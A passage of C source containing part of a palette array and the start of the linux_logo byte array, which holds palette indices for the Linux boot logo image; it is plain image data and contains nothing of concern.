    0x33, 0x00, 0x00, 0x0c, 0x66, 0x33, 0x00, 0x66,
    0x66, 0x00, 0x00, 0x00, 0x33, 0x99, 0x99, 0xcc,
    0x99, 0x66, 0x99, 0x99, 0x99, 0xcc, 0x33, 0xcc,
    0x66, 0xcc, 0x66, 0x27, 0x00, 0x33,
};

unsigned char linux_logo[] __initdata = {
    0x20, 0x21, 0x20, 0x20, 0x20, 0x22, 0x22, 0x20,
    0x20, 0x22, 0x23, 0x22, 0x24, 0x25, 0x26, 0x21,
    0x22, 0x24, 0x21, 0x20, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x25, 0x27, 0x22, 0x20, 0x28,
    0x28, 0x22, 0x27, 0x21, 0x22, 0x23, 0x23, 0x27,
    0x25, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x25,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x27, 0x22,
    0x22, 0x20, 0x21, 0x29, 0x26, 0x24, 0x21, 0x24,
    0x27, 0x20, 0x22, 0x22, 0x27, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x21, 0x25, 0x26,
    0x20, 0x21, 0x21, 0x21, 0x27, 0x22, 0x22, 0x24,
    0x24, 0x27, 0x28, 0x27, 0x2a, 0x21, 0x20, 0x21,
    0x22, 0x28, 0x21, 0x21, 0x20, 0x21, 0x21, 0x20,
    0x20, 0x21, 0x20, 0x25, 0x21, 0x22, 0x22, 0x22,
    0x23, 0x23, 0x27, 0x21, 0x28, 0x22, 0x24, 0x29,
    0x21, 0x20, 0x20, 0x21, 0x21, 0x20, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x27, 0x23,
    0x22, 0x20, 0x20, 0x24, 0x25, 0x24, 0x20, 0x24,
    0x27, 0x20, 0x28, 0x22, 0x27, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x20, 0x21,
    0x21, 0x21, 0x20, 0x20, 0x28, 0x23, 0x22, 0x24,
    0x26, 0x2a, 0x2a, 0x24, 0x20, 0x27, 0x24, 0x24,
    0x22, 0x23, 0x20, 0x21, 0x21, 0x20, 0x21, 0x25,
    0x21, 0x21, 0x20, 0x21, 0x26, 0x29, 0x28, 0x23,
    0x23, 0x23, 0x27, 0x21, 0x28, 0x24, 0x2a, 0x25,
    0x25, 0x21, 0x21, 0x20, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x21, 0x21, 0x20, 0x21, 0x27, 0x23,
    0x22, 0x24, 0x20, 0x27, 0x21, 0x27, 0x20, 0x21,
    0x20, 0x20, 0x22, 0x22, 0x24, 0x21, 0x20, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x21, 0x21, 0x20, 0x21,
    0x20, 0x21, 0x20, 0x20, 0x22, 0x23, 0x28, 0x21,
    0x24, 0x24, 0x21, 0x27, 0x21, 0x27, 0x20, 0x20,
    0x22, 0x22, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x20, 0x25, 0x2a, 0x21,
    0x27, 0x27, 0x27, 0x25, 0x25, 0x2a, 0x2a, 0x2a,
    0x2a, 0x2a, 0x26, 0x25, 0x21, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x28, 0x23,
    0x22, 0x24, 0x21, 0x27, 0x21, 0x27, 0x20, 0x20,
    0x24, 0x20, 0x23, 0x23, 0x27, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x20,
    0x21, 0x20, 0x21, 0x21, 0x28, 0x22, 0x22, 0x20,
    0x27, 0x27, 0x21, 0x27, 0x20, 0x24, 0x21, 0x27,
    0x23, 0x22, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x21, 0x29,
    0x2a, 0x2a, 0x25, 0x2a, 0x2a, 0x2b, 0x2b, 0x2b,
    0x2b, 0x2b, 0x2a, 0x2a, 0x29, 0x21, 0x20, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x24, 0x22,
    0x22, 0x24, 0x20, 0x27, 0x21, 0x27, 0x24, 0x20,
    0x25, 0x20, 0x22, 0x23, 0x27, 0x21, 0x21, 0x20,
    0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x21, 0x21, 0x20, 0x22, 0x22, 0x28, 0x21,
    0x27, 0x27, 0x20, 0x28, 0x21, 0x27, 0x20, 0x27,
    0x22, 0x22, 0x20, 0x21, 0x20, 0x20, 0x21, 0x25,
    0x25, 0x25, 0x21, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x25, 0x25, 0x2a, 0x2c, 0x2c, 0x2b, 0x2b, 0x2b,
    0x2b, 0x2c, 0x2c, 0x2c, 0x2b, 0x2a, 0x25, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x25, 0x28,
    0x22, 0x24, 0x20, 0x27, 0x21, 0x27, 0x20, 0x21,
    0x20, 0x28, 0x23, 0x22, 0x21, 0x21, 0x20, 0x21,
    0x20, 0x21, 0x20, 0x20, 0x21, 0x20, 0x20, 0x21,
    0x20, 0x21, 0x20, 0x21, 0x27, 0x23, 0x28, 0x21,
    0x24, 0x24, 0x21, 0x28, 0x21, 0x25, 0x25, 0x27,
    0x23, 0x22, 0x24, 0x21, 0x25, 0x21, 0x20, 0x20,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x25,
    0x25, 0x2b, 0x2c, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b,
    0x2b, 0x2b, 0x2b, 0x2a, 0x2b, 0x2b, 0x2a, 0x29,
    0x21, 0x20, 0x21, 0x21, 0x21, 0x20, 0x25, 0x27,
    0x23, 0x20, 0x20, 0x27, 0x24, 0x22, 0x20, 0x24,
    0x23, 0x22, 0x22, 0x27, 0x25, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x20, 0x21, 0x21, 0x20, 0x22, 0x22, 0x21,
    0x27, 0x24, 0x21, 0x28, 0x20, 0x20, 0x27, 0x22,
    0x23, 0x27, 0x25, 0x20, 0x21, 0x21, 0x21, 0x20,
    0x27, 0x24, 0x21, 0x21, 0x21, 0x20, 0x20, 0x25,
    0x2a, 0x2c, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b,
    0x2b, 0x2b, 0x2a, 0x25, 0x25, 0x2b, 0x2c, 0x2b,
    0x25, 0x21, 0x20, 0x20, 0x20, 0x21, 0x20, 0x25,
    0x28, 0x27, 0x24, 0x22, 0x22, 0x22, 0x21, 0x20,
    0x22, 0x22, 0x28, 0x29, 0x21, 0x20, 0x20, 0x20,
    0x21, 0x20, 0x25, 0x29, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x28, 0x22, 0x21,
    0x27, 0x27, 0x27, 0x28, 0x21, 0x27, 0x22, 0x23,
    0x22, 0x25, 0x21, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x20, 0x21, 0x21, 0x20, 0x21, 0x2a,
    0x2b, 0x2c, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b,
    0x2b, 0x2c, 0x2a, 0x25, 0x25, 0x2a, 0x2b, 0x2c,
    0x2a, 0x20, 0x20, 0x21, 0x20, 0x20, 0x21, 0x25,
    0x21, 0x22, 0x23, 0x22, 0x22, 0x22, 0x20, 0x24,
    0x23, 0x28, 0x26, 0x25, 0x20, 0x21, 0x21, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x21, 0x21, 0x20,
    0x21, 0x20, 0x20, 0x21, 0x25, 0x20, 0x22, 0x27,
    0x28, 0x23, 0x22, 0x28, 0x21, 0x27, 0x23, 0x22,
    0x21, 0x26, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x25, 0x21, 0x20, 0x21, 0x20, 0x21, 0x26, 0x2a,
    0x2c, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b,
    0x2b, 0x2b, 0x2a, 0x2a, 0x2a, 0x2b, 0x2b, 0x2c,
    0x2b, 0x21, 0x21, 0x20, 0x21, 0x21, 0x21, 0x21,
    0x29, 0x25, 0x28, 0x23, 0x23, 0x22, 0x20, 0x20,
    0x20, 0x2a, 0x26, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x29, 0x24, 0x23,
    0x23, 0x22, 0x22, 0x28, 0x20, 0x27, 0x22, 0x21,
    0x2a, 0x21, 0x21, 0x20, 0x20, 0x21, 0x21, 0x21,
    0x20, 0x21, 0x25, 0x21, 0x21, 0x21, 0x26, 0x2b,
    0x2c, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b,
    0x2b, 0x2b, 0x2b, 0x2b, 0x2c, 0x2c, 0x2b, 0x2b,
    0x2c, 0x29, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20,
    0x21, 0x29, 0x2a, 0x25, 0x25, 0x24, 0x20, 0x27,
    0x25, 0x21, 0x27, 0x24, 0x24, 0x21, 0x20, 0x21,
    0x21, 0x20, 0x21, 0x21, 0x21, 0x20, 0x20, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x2a, 0x25,
    0x28, 0x23, 0x22, 0x28, 0x21, 0x27, 0x26, 0x2a,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x21, 0x20, 0x24, 0x20, 0x20, 0x21, 0x2a, 0x2b,
    0x2c, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b,
    0x2b, 0x2b, 0x2b, 0x2c, 0x2c, 0x2b, 0x2b, 0x2b,
    0x2c, 0x2a, 0x21, 0x21, 0x20, 0x20, 0x21, 0x21,
    0x20, 0x20, 0x21, 0x26, 0x2a, 0x21, 0x21, 0x24,
    0x22, 0x22, 0x23, 0x22, 0x22, 0x27, 0x20, 0x21,
    0x21, 0x21, 0x20, 0x20, 0x21, 0x21, 0x20, 0x20,
    0x21, 0x20, 0x21, 0x21, 0x20, 0x21, 0x21, 0x29,
    0x2a, 0x25, 0x21, 0x27, 0x21, 0x27, 0x27, 0x27,
    0x27, 0x27, 0x24, 0x20, 0x21, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x2a, 0x2b,
    0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b,
    0x2c, 0x2c, 0x2c, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b,
    0x2c, 0x2b, 0x21, 0x20, 0x21, 0x21, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x20, 0x27, 0x28, 0x20, 0x27,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x28, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x20, 0x24, 0x21,
    0x21, 0x21, 0x21, 0x24, 0x21, 0x27, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x28, 0x20, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x2a, 0x2b,
    0x2c, 0x2b, 0x2b, 0x2a, 0x2b, 0x2b, 0x2b, 0x2c,
    0x2b, 0x2a, 0x2a, 0x2a, 0x2a, 0x2b, 0x2c, 0x2b,
    0x2b, 0x2b, 0x25, 0x20, 0x24, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x21, 0x24, 0x22, 0x22, 0x21, 0x27,
    0x23, 0x22, 0x22, 0x27, 0x25, 0x2a, 0x20, 0x22,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x21, 0x21, 0x20,
    0x21, 0x20, 0x22, 0x28, 0x21, 0x28, 0x23, 0x22,
    0x22, 0x23, 0x28, 0x28, 0x28, 0x20, 0x21, 0x21,
    0x20, 0x21, 0x21, 0x20, 0x20, 0x21, 0x2a, 0x2c,
    0x2a, 0x24, 0x21, 0x2b, 0x2b, 0x2b, 0x2c, 0x2b,
    0x25, 0x24, 0x28, 0x27, 0x2a, 0x2b, 0x2b, 0x2b,
    0x2b, 0x2b, 0x25, 0x24, 0x27, 0x20, 0x20, 0x21,
    0x21, 0x20, 0x20, 0x28, 0x22, 0x28, 0x21, 0x24,
    0x27, 0x28, 0x24, 0x2a, 0x21, 0x21, 0x20, 0x22,
    0x27, 0x21, 0x21, 0x20, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x24, 0x24, 0x21, 0x21, 0x20, 0x21, 0x21,
    0x20, 0x27, 0x23, 0x28, 0x21, 0x22, 0x23, 0x22,
    0x27, 0x25, 0x2a, 0x2a, 0x24, 0x28, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x2a, 0x2b,
    0x20, 0x22, 0x22, 0x25, 0x2c, 0x2b, 0x2c, 0x25,
    0x28, 0x22, 0x22, 0x22, 0x25, 0x2c, 0x2b, 0x2b,
    0x2b, 0x2b, 0x26, 0x25, 0x29, 0x21, 0x21, 0x20,
    0x20, 0x21, 0x20, 0x22, 0x22, 0x28, 0x21, 0x25,
    0x2a, 0x25, 0x27, 0x20, 0x28, 0x24, 0x28, 0x23,
    0x28, 0x21, 0x21, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x20, 0x27, 0x24, 0x21, 0x21, 0x21, 0x20, 0x21,
    0x20, 0x22, 0x22, 0x28, 0x21, 0x27, 0x27, 0x22,
    0x21, 0x25, 0x27, 0x20, 0x27, 0x23, 0x24, 0x21,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x25, 0x2a, 0x2a,
    0x28, 0x24, 0x28, 0x22, 0x2b, 0x2c, 0x2c, 0x24,
    0x23, 0x20, 0x25, 0x28, 0x22, 0x2a, 0x2c, 0x2b,
    0x2b, 0x2c, 0x29, 0x24, 0x20, 0x21, 0x20, 0x21,
    0x20, 0x20, 0x24, 0x22, 0x22, 0x28, 0x21, 0x24,
    0x20, 0x20, 0x27, 0x25, 0x27, 0x20, 0x20, 0x28,
    0x22, 0x20, 0x21, 0x21, 0x20, 0x20, 0x21, 0x21,
    0x21, 0x26, 0x25, 0x20, 0x21, 0x21, 0x20, 0x20,
    0x27, 0x23, 0x23, 0x28, 0x21, 0x29, 0x2a, 0x21,
    0x24, 0x20, 0x28, 0x21, 0x28, 0x22, 0x27, 0x21,
    0x20, 0x20, 0x21, 0x21, 0x20, 0x21, 0x2a, 0x25,
    0x27, 0x2b, 0x25, 0x22, 0x2a, 0x2b, 0x2b, 0x28,
    0x28, 0x2c, 0x2a, 0x25, 0x22, 0x25, 0x2c, 0x2b,
    0x2b, 0x2c, 0x29, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x21, 0x21, 0x22, 0x22, 0x28, 0x21, 0x27,
    0x20, 0x20, 0x28, 0x20, 0x24, 0x21, 0x27, 0x22,
    0x28, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x21, 0x25,
    0x27, 0x22, 0x22, 0x24, 0x21, 0x27, 0x21, 0x24,
    0x24, 0x21, 0x27, 0x21, 0x28, 0x23, 0x27, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x2a, 0x25,
    0x24, 0x2c, 0x2a, 0x27, 0x2a, 0x2b, 0x2b, 0x24,
    0x20, 0x2c, 0x2b, 0x2a, 0x22, 0x21, 0x2c, 0x2b,
    0x2b, 0x2c, 0x29, 0x21, 0x25, 0x21, 0x21, 0x20,
    0x21, 0x20, 0x20, 0x22, 0x22, 0x28, 0x21, 0x24,
    0x24, 0x24, 0x27, 0x21, 0x27, 0x21, 0x27, 0x23,
    0x28, 0x20, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x21,
    0x24, 0x22, 0x22, 0x27, 0x20, 0x28, 0x21, 0x27,
    0x24, 0x21, 0x20, 0x20, 0x22, 0x23, 0x27, 0x21,
    0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x2a, 0x25,
    0x27, 0x2c, 0x2b, 0x2d, 0x2e, 0x2f, 0x2e, 0x30,
    0x20, 0x2c, 0x2c, 0x2b, 0x22, 0x25, 0x2c, 0x2b,
    0x2b, 0x2c, 0x29, 0x20, 0x20, 0x20, 0x20, 0x21,
    0x21, 0x21, 0x21, 0x28, 0x22, 0x28, 0x21, 0x27,
    0x24, 0x20, 0x28, 0x20, 0x21, 0x21, 0x27, 0x23,
    0x22, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x21, 0x20, 0x20, 0x21, 0x25, 0x21, 0x20, 0x21,
    0x27, 0x23, 0x22, 0x27, 0x21, 0x27, 0x20, 0x27,
    0x24, 0x20, 0x24, 0x21, 0x28, 0x23, 0x27, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x2a, 0x2a,
    0x28, 0x25, 0x31, 0x32, 0x33, 0x33, 0x32, 0x32,
    0x33, 0x31, 0x2b, 0x24, 0x22, 0x2a, 0x2c, 0x2b,
    0x2b, 0x2c, 0x2a, 0x21, 0x20, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x21, 0x27, 0x23, 0x28, 0x20, 0x27,
    0x20, 0x20, 0x27, 0x21, 0x20, 0x27, 0x22, 0x22,
    0x24, 0x25, 0x21, 0x21, 0x21, 0x20, 0x20, 0x27,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x21,
    0x20, 0x22, 0x23, 0x27, 0x21, 0x27, 0x20, 0x24,
    0x24, 0x21, 0x25, 0x20, 0x28, 0x23, 0x27, 0x21,
    0x20, 0x21, 0x20, 0x21, 0x21, 0x21, 0x2a, 0x2b,
    0x20, 0x34, 0x32, 0x33, 0x33, 0x33, 0x33, 0x35,
    0x35, 0x36, 0x32, 0x37, 0x38, 0x2c, 0x2b, 0x2b,
    0x2b, 0x2c, 0x2a, 0x20, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x22, 0x28, 0x21, 0x20,
    0x24, 0x28, 0x28, 0x21, 0x28, 0x23, 0x22, 0x22,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x21, 0x20, 0x27,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x26, 0x27, 0x22, 0x27, 0x21, 0x27, 0x21, 0x27,
    0x24, 0x21, 0x27, 0x22, 0x23, 0x22, 0x20, 0x21,
    0x21, 0x21, 0x20, 0x20, 0x24, 0x27, 0x2a, 0x2b,
    0x31, 0x32, 0x33, 0x33, 0x33, 0x33, 0x35, 0x35,
    0x35, 0x36, 0x36, 0x36, 0x33, 0x39, 0x2b, 0x2b,
    0x2b, 0x2c, 0x2a, 0x20, 0x20, 0x21, 0x21, 0x20,
    0x21, 0x20, 0x21, 0x25, 0x24, 0x28, 0x20, 0x28,
    0x22, 0x23, 0x28, 0x21, 0x27, 0x23, 0x23, 0x24,
    0x25, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x25,
    0x20, 0x21, 0x25, 0x21, 0x20, 0x20, 0x21, 0x20,
    0x21, 0x27, 0x22, 0x27, 0x21, 0x27, 0x27, 0x28,
    0x24, 0x20, 0x22, 0x23, 0x22, 0x24, 0x25, 0x21,
    0x21, 0x20, 0x21, 0x21, 0x21, 0x25, 0x2a, 0x39,
    0x3a, 0x32, 0x33, 0x33, 0x33, 0x33, 0x35, 0x35,
    0x36, 0x36, 0x33, 0x32, 0x33, 0x3b, 0x2b, 0x2b,
    0x2b, 0x2c, 0x2a, 0x20, 0x21, 0x20, 0x24, 0x20,
    0x20, 0x21, 0x20, 0x21, 0x29, 0x27, 0x23, 0x23,
    0x22, 0x23, 0x27, 0x21, 0x22, 0x22, 0x25, 0x2a,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x20, 0x20, 0x21, 0x21, 0x20, 0x20,
    0x21, 0x25, 0x28, 0x28, 0x27, 0x22, 0x23, 0x22,
    0x24, 0x21, 0x22, 0x22, 0x27, 0x29, 0x21, 0x20,
    0x20, 0x21, 0x20, 0x20, 0x21, 0x25, 0x29, 0x31,
    0x32, 0x32, 0x33, 0x33, 0x33, 0x35, 0x35, 0x36,
    0x36, 0x33, 0x32, 0x32, 0x32, 0x39, 0x2b, 0x2b,
    0x2c, 0x2c, 0x2b, 0x25, 0x21, 0x21, 0x21, 0x25,
    0x21, 0x21, 0x20, 0x20, 0x21, 0x26, 0x20, 0x28,
    0x22, 0x23, 0x28, 0x20, 0x27, 0x2a, 0x2a, 0x20,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x21, 0x21, 0x20,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x20, 0x21, 0x29, 0x24, 0x23, 0x23, 0x22, 0x22,
    0x24, 0x21, 0x27, 0x20, 0x25, 0x21, 0x20, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x25, 0x2b,
    0x31, 0x32, 0x33, 0x33, 0x35, 0x33, 0x33, 0x32,
    0x32, 0x32, 0x32, 0x32, 0x3c, 0x2b, 0x2c, 0x2a,
    0x25, 0x2b, 0x2c, 0x2a, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x25, 0x26, 0x25,
    0x25, 0x25, 0x21, 0x21, 0x27, 0x24, 0x28, 0x28,
    0x27, 0x20, 0x21, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x21,
    0x21, 0x21, 0x21, 0x2a, 0x25, 0x27, 0x22, 0x22,
    0x24, 0x20, 0x21, 0x2a, 0x21, 0x20, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x20, 0x29, 0x2b,
    0x2a, 0x2d, 0x2e, 0x32, 0x32, 0x32, 0x32, 0x3a,
    0x32, 0x32, 0x3c, 0x3d, 0x28, 0x25, 0x2c, 0x2b,
    0x21, 0x25, 0x2b, 0x2b, 0x21, 0x20, 0x21, 0x21,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x20, 0x20, 0x21,
    0x25, 0x20, 0x24, 0x21, 0x28, 0x22, 0x22, 0x22,
    0x23, 0x22, 0x27, 0x21, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x20, 0x26, 0x2a, 0x2a, 0x21,
    0x24, 0x21, 0x28, 0x28, 0x28, 0x28, 0x28, 0x24,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x25, 0x2b,
    0x25, 0x3e, 0x2d, 0x2e, 0x32, 0x32, 0x32, 0x32,
    0x32, 0x3c, 0x27, 0x28, 0x28, 0x20, 0x2c, 0x2c,
    0x2a, 0x21, 0x2b, 0x2c, 0x2a, 0x21, 0x21, 0x21,
    0x20, 0x25, 0x21, 0x20, 0x20, 0x21, 0x21, 0x21,
    0x20, 0x22, 0x24, 0x21, 0x22, 0x22, 0x22, 0x23,
    0x23, 0x22, 0x22, 0x28, 0x20, 0x20, 0x20, 0x25,
    0x20, 0x21, 0x20, 0x20, 0x21, 0x20, 0x21, 0x21,
    0x21, 0x20, 0x21, 0x21, 0x21, 0x21, 0x25, 0x21,
    0x25, 0x24, 0x22, 0x23, 0x22, 0x22, 0x22, 0x23,
    0x28, 0x21, 0x20, 0x21, 0x21, 0x25, 0x2a, 0x2b,
    0x25, 0x28, 0x27, 0x2d, 0x2e, 0x2e, 0x2e, 0x2e,
    0x34, 0x27, 0x28, 0x22, 0x23, 0x22, 0x2a, 0x2c,
    0x2b, 0x2b, 0x2b, 0x2c, 0x2b, 0x20, 0x20, 0x20,
    0x20, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21,
    0x28, 0x23, 0x27, 0x20, 0x22, 0x23, 0x22, 0x28,
    0x25, 0x2a, 0x2a, 0x28, 0x27, 0x21, 0x20, 0x20,
    0x21, 0x20, 0x21, 0x21, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x27, 0x22,
    0x24, 0x20, 0x28, 0x22, 0x22, 0x22, 0x22, 0x28,
    0x22, 0x27, 0x21, 0x20, 0x21, 0x25, 0x2a, 0x2c,
    0x24, 0x28, 0x28, 0x27, 0x38, 0x38, 0x38, 0x27,
    0x28, 0x28, 0x22, 0x23, 0x23, 0x23, 0x25, 0x2c,
    0x2c, 0x2c, 0x2b, 0x2b, 0x2c, 0x29, 0x20, 0x21,
    0x27, 0x24, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x22, 0x22, 0x24, 0x25, 0x27, 0x28, 0x28, 0x25,
    0x26, 0x20, 0x21, 0x28, 0x22, 0x20, 0x20, 0x20,
    0x21, 0x20, 0x20, 0x20, 0x21, 0x20, 0x24, 0x20,
    0x21, 0x20, 0x21, 0x21, 0x21, 0x20, 0x22, 0x22,
    0x21, 0x24, 0x22, 0x22, 0x28, 0x24, 0x29, 0x2a,
    0x29, 0x28, 0x27, 0x21, 0x25, 0x25, 0x2b, 0x2a,
    0x23, 0x22, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x22, 0x23, 0x23, 0x23, 0x23, 0x28, 0x2b,
    0x2c, 0x2b, 0x2b, 0x2b, 0x2c, 0x2b, 0x25, 0x20,
    0x29, 0x26, 0x21, 0x20, 0x20, 0x20, 0x25, 0x27,
    0x23, 0x22, 0x24, 0x21, 0x2a, 0x2a, 0x24, 0x24,
    0x24, 0x20, 0x21, 0x22, 0x22, 0x27, 0x21, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x24, 0x20,
    0x20, 0x21, 0x20, 0x20, 0x21, 0x27, 0x23, 0x22,
    0x24, 0x20, 0x20, 0x24, 0x28, 0x2a, 0x24, 0x27,
    0x24, 0x23, 0x28, 0x21, 0x25, 0x2a, 0x2c, 0x27,
    0x23, 0x23, 0x28, 0x27, 0x27, 0x27, 0x28, 0x28,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x21,
    0x2c, 0x2b, 0x2b, 0x2b, 0x2b, 0x2c, 0x2a, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x27,
    0x23, 0x22, 0x20, 0x21, 0x27, 0x21, 0x27, 0x24,
    0x20, 0x27, 0x20, 0x22, 0x22, 0x27, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x25, 0x25, 0x25,
    0x21, 0x21, 0x20, 0x21, 0x21, 0x28, 0x23, 0x28,
    0x25, 0x25, 0x2a, 0x2a, 0x24, 0x21, 0x27, 0x24,
    0x24, 0x22, 0x22, 0x25, 0x2a, 0x2c, 0x2a, 0x23,
    0x23, 0x23, 0x23, 0x28, 0x28, 0x28, 0x22, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x28,
    0x2b, 0x2c, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x25,
    0x20, 0x20, 0x20, 0x24, 0x21, 0x21, 0x21, 0x27,
    0x22, 0x22, 0x24, 0x20, 0x27, 0x21, 0x27, 0x24,
    0x20, 0x20, 0x21, 0x22, 0x22, 0x24, 0x21, 0x21,
    0x20, 0x20, 0x21, 0x20, 0x21, 0x20, 0x21, 0x21,
    0x20, 0x20, 0x21, 0x21, 0x20, 0x28, 0x22, 0x28,
    0x21, 0x27, 0x27, 0x21, 0x27, 0x20, 0x27, 0x24,
    0x20, 0x22, 0x27, 0x25, 0x2b, 0x2b, 0x27, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x22, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x2a, 0x2c, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b,
    0x21, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x27,
    0x22, 0x22, 0x24, 0x20, 0x27, 0x20, 0x27, 0x24,
    0x27, 0x24, 0x21, 0x28, 0x22, 0x28, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x21, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x28, 0x22, 0x22,
    0x20, 0x24, 0x27, 0x20, 0x28, 0x20, 0x24, 0x21,
    0x24, 0x28, 0x25, 0x2b, 0x2c, 0x2a, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x25, 0x2c, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x2c,
    0x2a, 0x21, 0x20, 0x21, 0x21, 0x21, 0x21, 0x24,
    0x22, 0x22, 0x24, 0x21, 0x27, 0x20, 0x28, 0x20,
    0x25, 0x25, 0x20, 0x22, 0x22, 0x20, 0x21, 0x20,
    0x21, 0x20, 0x21, 0x20, 0x21, 0x20, 0x20, 0x21,
